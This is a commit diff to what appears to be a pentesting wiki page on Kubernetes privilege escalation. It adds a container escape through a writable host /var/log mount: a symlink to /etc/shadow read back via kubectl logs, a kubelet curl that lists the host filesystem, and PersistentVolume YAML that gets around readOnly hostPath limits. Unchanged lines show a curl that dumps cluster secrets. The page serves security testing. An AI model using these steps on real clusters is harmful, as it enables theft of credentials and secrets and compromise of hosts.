GitBook: [#2998] No subject
This commit is contained in:
parent
995fe67e89
commit
220474b40f
|
@ -282,6 +282,98 @@ This permission allows to **forward one local port to one port in the specified
|
|||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
|
||||
### **Hosts Writable /var/log/ Escape**
|
||||
|
||||
 **** As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)**,**If you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
|
||||
This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
|
||||
The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.
|
||||
|
||||
Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
|
||||
|
||||
* Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
|
||||
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
|
||||
* If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
|
||||
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
<a href="data/">data/</a>
|
||||
<a href="dev/">dev/</a>
|
||||
<a href="etc/">etc/</a>
|
||||
<a href="home/">home/</a>
|
||||
<a href="init">init</a>
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
|
||||
**A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection:
|
||||
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
|
||||
Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
metadata:
|
||||
name: task-pv-volume-vol
|
||||
labels:
|
||||
type: local
|
||||
spec:
|
||||
storageClassName: manual
|
||||
capacity:
|
||||
storage: 10Gi
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
hostPath:
|
||||
path: "/var/log"
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: PersistentVolumeClaim
|
||||
metadata:
|
||||
name: task-pv-claim-vol
|
||||
spec:
|
||||
storageClassName: manual
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
resources:
|
||||
requests:
|
||||
storage: 3Gi
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: task-pv-pod
|
||||
spec:
|
||||
volumes:
|
||||
- name: task-pv-storage-vol
|
||||
persistentVolumeClaim:
|
||||
claimName: task-pv-claim-vol
|
||||
containers:
|
||||
- name: task-pv-container
|
||||
image: ubuntu:latest
|
||||
command: [ "sh", "-c", "sleep 1h" ]
|
||||
volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
|
||||
### **Impersonating privileged accounts**
|
||||
|
||||
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
|
||||
|
@ -312,7 +404,7 @@ The **listing secrets privilege** is a strong capability to have in the cluster.
|
|||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png)
|
||||
|
||||
An attacker that gains **access to \_list secrets**\_\*\* \*\* in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
|
||||
An attacker that gains **access to \_list secrets**\_ in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
|
||||
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
|
@ -320,8 +412,6 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
|
|||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png)
|
||||
|
||||
###
|
||||
|
||||
### **Reading a secret – brute-forcing token IDs**
|
||||
|
||||
An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the _**listing** **secrets**_ permission described above.
|
||||
|
|
Loading…
Reference in New Issue